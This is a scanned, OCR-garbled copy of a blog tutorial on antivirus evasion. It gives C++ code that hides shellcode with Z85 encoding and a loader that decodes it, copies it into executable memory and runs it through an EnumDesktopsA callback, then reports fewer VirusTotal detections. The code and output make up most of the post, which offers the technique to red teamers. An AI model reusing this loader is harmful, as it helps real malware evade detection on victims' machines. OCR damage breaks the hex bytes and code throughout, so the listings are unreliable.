Malware AV evasion - part 8. Encode payload via Z85
algorithm. C++ example.
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3 minute read

Hello, cybersecurity enthusiasts and white hackers!

<stdio.h>

<stdlib.h> =
<string.h> "
<./z85.h>
<./z85.c>
<windows.h>

win10-x64 (persistence_1) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

int main(int argc, char* argv[]) {
BOOL rv;
HANDLE - th;
DWORD oldprotect = 0;

char e my payload[] = "2@78z1[C&K*>*fqf
07.*VBz<XJ=}(]:neKJUI:eyRONP>inD1"}15NNQn
#N:vsv37[k1HOA>$g{P%6njp.2KDn065S@kL]0V606

Meow-meow!

char-d my payload[314] = {};

size t d = Z85 decode with padding(e my
LPVOID mem = VirtualAlloc (NULL, (
Rt1lMoveMemory(mem, d my payload,
EnumDesktopsA(GetProcessWindowStation()

0;

BOoKT #mEEE TG0 Right Ctrl

This article is the result of my own research into interesting trick: encoding payload via Z85.

Since the methods of encrypting the payload with the AES and XOR algorithms and
encoding (for example, with the base64 algorithm) have been studied with blue teamers
quite well, the question arose to try to hide the payload in a non-standard way.

Z85

Ascii85, also called Base85, is a form of binary-to-text encoding used to communicate
arbitrary binary data over channels that were designed to carry only English language
human-readable text. Z85 a format for representing binary data as printable text. Z85 is a
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https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
https://github.com/cocomelonc/peekaboo/tree/aes
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
https://rfc.zeromq.org/spec/32/

derivative of existing Ascii85 encoding mechanisms, modified for better usability, particularly
for use in source code.

practical example

Let’s go to look at a practical example. First of all encode our payload via Z85 (encode.cpp):
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <./z85.h>
#include <./z85.c>
#include <windows.h>

char* encode(const char* src, size_t len) {

// allocate output buffer (+1 for null terminating char)

char* dest = (char*)malloc(Z85_encode_with_padding_bound(len) + 1);

if (len == 0) {
dest[0] = '\@'; // write null terminating char
return dest;

// encode the input buffer, padding it if necessary
len = z85_encode_with_padding(src, dest, len);
if (len == 0) { // something went wrong

free(dest);

return NULL;

dest[len] = '\0@'; // write null terminating char

return dest;

unsigned char payload[] =

"\XFCc\Xx48\Xx81\xed\ X FO\XTFF\XTFFAXFF\xe8\xdo\x00\x00\x00\x41"
"\Xx51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\X3c\Xx61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\Xx00\Xx00\x48\x85\xCcO\x74\x6T"
"\x48\x01\xdO\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xfFf\Axc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xTF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\Xx75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\Xx04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe 9\ x4\ XF F\xFF\xFff\x5d\x49\xc7"
"\xCc1\x00\Xx00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\Xx4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xfF\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\X75\x05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89\xda\xff"
"\Xxd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6TF\x77\x21\x00\x3d\x5e"
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"\x2e\x2e\x5e\x3d\x00";

int main() {

char*

str =

if (str) {
printf("%s\n",
free(str);

}

return 0;

Then compile it:

X86_64-w64-mingw32-g++ -02 encode.cpp -0 encode.exe -I/usr/share/mingw-w64/include/ -
I/home/cocomelonc/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8 -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-

encode( (const char*)payload,

str);

sizeof(payload));

constants -static-libstdc++ -static-libgcc -fpermissive

and run:

.\encode.

) - [~/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8]

gw32-g++

encode. cpp

encode.exe

) - [~/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8]

cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc

cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc

42496
1109
2204

17408
7243
7119

Jul
Jul
Jul
Jul
Jul
Jul

353
139
128
116
143
141

encode. exe
hack. cpp
encode. cpp
hack. exe
285.h
Z8HLG

) - [~/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8]

exe
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As usually, for simplicity | used meow-meow messagebox payload:
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unsigned char my_payload[] =

// 64-bit meow-meow messagebox
"\XFc\x48\x81\xed\xFO\XTFF\XTFF\XxFfF\xe8\xdO\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\Xx50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\Xx3c\x61\x7c\x02\x2¢c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\Xx00\x00\x48\x85\xcO\x74\x6f"
"\Xx48\x01\xdO\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\Xx01\xdO\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\xe1"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\X75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe N\ x4\ X FF\XFf\xFf\x5d\x49\xc7"
"\XC1\X00\X00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xed0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xed"
"\X75\Xx05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6T\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

Then, in the next step we put this encoded payload to our “malware”. | took the technique of
running payload from one of the previous articles:
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https://cocomelonc.github.io/tutorial/2022/06/27/malware-injection-20.html

* hack.cpp

* 785 encode payload
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <./z85.h>
#include <./z85.c>
#include <windows.h>

int main(int argc, char* argv[]) {
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

char e_my_payload[] =
"2@78z1[C&K*>*fqfO6%EFp/pd>nhnL7nq*wNk1HPf7ApGGgx0d]I/ISTndSg4n>?
4Znhm]YjyJQsefEL{:QHJIp.q: &WKk#X*pI=7VYI: xI%ONK2*Fqsg907.*VBz<XJ=}
(]:neKJUI:eyRONP>inD1A}15NNQncdpog08%vZ]P&r :QHIp.8Qv}
[JGRGOE6)jiNJO2suYchkQn]4=$kEcIWScum2KqInDEQ415L (4ncd76sv34}sZ19[101GSng3mKKk#N:vsv37[
k1HOA>$g{P%6njp.2KDNO6S@kL JoV606T80GAU: 107X&N1aPHQrTnVPYWKXV3phn2Ma- : * IKUthc{dYY3v@3i
BP]XE61n2a09IQA*w/X$wP8=AzdNTfaPKVie?QD[00000";

char d_my_payload[314] = {};

size_t d = Z85_decode_with_padding(e_my_payload, d_my_payload,
strlen(e_my_payload));

LPVOID mem = VirtualAlloc(NULL, sizeof(d_my_payload), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

Rt1MoveMemory(mem, d_my_payload, sizeof(d_my_payload));

EnumDesktopsA(GetProcesswWindowStation(), (DESKTOPENUMPROCA)mem, 0);

return 0;

Many thanks to @artemkin for real-worked C/C++ implementation, also encoding/decoding
with padding.

demo

Let’s go to see everything in action. Compile our “malware”:

x86_64-w64-mingw32-g++ -02 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -
I/home/cocomelonc/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8 -
L/usr/x86_64-w64-mingw32/1ib/ -s -ffunction-sections -fdata-sections -Wno-write-
strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -
fpermissive
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https://github.com/artemkin/z85

) - [~/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8]

-g+t hack. cpp hack.exe

) - [~/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8]

cocomelonc cocomelonc 17408 Jul 31 17:21 hack.exe
cocomelonc cocomelonc 42496 Jul 31 16:53 encode.exe
cocomelonc cocomelonc 1109 Jul 31 16:39 hack.cpp
cocomelonc cocomelonc 2204 Jul 31 08:28 encode.cpp
cocomelonc cocomelonc 7243 Jul 29 19:43 z85.h
cocomelonc cocomelonc 7119 Jul 29 19:41 z85.c

) - [~/hacking/cybersec_blog/2022-07-29-malware-av-evasion-8]

and run in our victim’s machine:

.\hack.exe

int main()
char* str = encode((const char*)payload, (payload));
(str) {
printf("
free(str);

LTI encode. cpp

As you can see, everything is work perfectly :)

Let’s go to upload hack.exe to VirusTotal:

File Machine
[CERG

win10-x64 (persistence_1) [Running] - Oracle VM VirtualBox

00000590
00000520}
000005b0f
000005¢0}
000005d0f
00000520}
000005£0)
00000600}
000008
000006
000008
000008
000008
0000086
000006
000008
000008
000008
000008
0000060}

[PROVAL . eH.R™>H.R
| SH.R SH.rE>H..J
|11 <al., B,
BAQH.R >

000006
000008
000008
00000700 4£

Re-read
N
0x7ffadae72|

0x7FfadabB8000
0x7ffadadc9000

16 bytes per row

063EFp/pd>nhnLTn
QUVNKIHPETAGGqE

£ 0d]1/1STndSgén>2

Save,

Clos:

Ware-av-evasion-5

Meow-meow!
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Z Q 2o # (3 cocomelonk @

(@ 14 security flagged this fils as malick S
o
11705d: 17.00KB 2022-07-3111:33:31UTC OL
hackexe size moment ag EXE

64bits  assembly peexe

Communty

x v

DETECTION DETAILS BEHAVIOR COMMUNITY

Security Vendors' Analysis

Acronis (Static ML) (D suspicious Ad-Aware (D DeepScan:Generic.ShellCode F.24749880
ALYac (D Deepscan:Generic.shellCode.F.24749880 Arcabit (D DeepScan:Generic.shellCode F.24749880
BitDefender (D Deepscan:Generic.shellCode.F.24749880 Cynet (D Malicious (score: 100)

Elastic (D Malicious (high Confidence) Emsisoft (D Deepscan:Generic.ShellCode.F.24749880.
escan (D DeepScan:Generic.shellCode.F.24749880 GData (D) DeepScan:Generic.ShellCode F.24749880
MAX (@ Malware (ai Score=88) Microsoft (D Trojan:Win32/Sabsik. FLBImI

Trellix (FireEye) (@ Generic.mg.4d3a89f6 2dd85esf VIPRE (D DeepScan:Generic.ShellCode.F.24749880
AhnLab-V3 (@ undetected Alibaba @ Undetected

So, 14 of 70 AV engines detect our file as malicious.

https://www.virustotal.com/gui/file/6345f46e33919dd1e0691508a1f705d33ed44aadbdd1bb01
al15fdad628b29fca/detection

if you remember, this technique without encoding showed the result 16 of 66:

257295869a833155f68b4d68bb6e565cal C

10)
>

_I 6 \ @ 16 security vendors and no sandboxes flagged this file as mal|

657ffab6499f8eed373ac61bf8fc98257295869a833155{68b4d68bb6e565¢cal 15.00 KB 2022-06-27 08:36:07 UTC %
hack exe a moment ag EXE

6dbits  assembly  peexe

Community
Score

X \/

DETECTION DETAILS BEHAVIOR COMMUNITY

Security Vendors' Analysis

Acronis (Static ML) (D suspicious Ad-Aware (D) Generic.ShellCode F.223359A5
AlYac (D) Generic.shellCode.F.223359A5 Arcabit (D) Generic.ShellCode F.223359A5
BitDefender (D) Generic.shellCode.F.223359A5 Cybereason (D Malicious.cacde0

Cynet @ Malicious (score: 100) Drweb @ Trojan.Starter.7246

Elastic @ Malicious (high Confidence) Emsisoft @ Generic.ShellCode F. 22335945 (B)
eScan (D) Generic.shellCode.F.223359A5 GData (D) Generic.ShellCode F.223359A5
Jiangmin (D) Trojan.Shelma.Imx Kaspersky (1) HEURTrojan.Win32.Generic
MAX (D) Malware (ai Score=87) Trellix (FireEye) (1) Generic.mg.fbec4156cch7001
AhnLab-v3 () Undetected Alibaba () Undetected

Avast () Undetected Avira (no cloud) () Undetected

Baidu () Undetected BitDefenderTheta () Undetected

Bkav Pro () Undetected Clamav () Undetected

Comodo () Undetected CrowdsStrike Falcon () Undetected

Cylance () Undetected Cyren () Undetected

ESET-NOD32 () Undetected F-Secure () Undetected
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https://www.virustotal.com/gui/file/6345f46e33919dd1e0691508a1f705d33ed44aadbdd1bb01a15fdad628b29fca/detection

https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac6 1bf8fc98257295869a833155f68b
4d68bb6e565cal/detection

We have reduced the number of AV engines which detect our malware from 16 to 14!
So it can be assumed that evasion works.

| hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.

Z85
https://github.com/artemkin/z85
EnumDesktopsA

source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are
mine
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https://www.virustotal.com/gui/file/657ff9b6499f8eed373ac61bf8fc98257295869a833155f68b4d68bb6e565ca1/detection
https://rfc.zeromq.org/spec/32/
https://github.com/artemkin/z85
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdesktopsa
https://github.com/cocomelonc/meow/tree/master/2022-07-29-malware-av-evasion-8

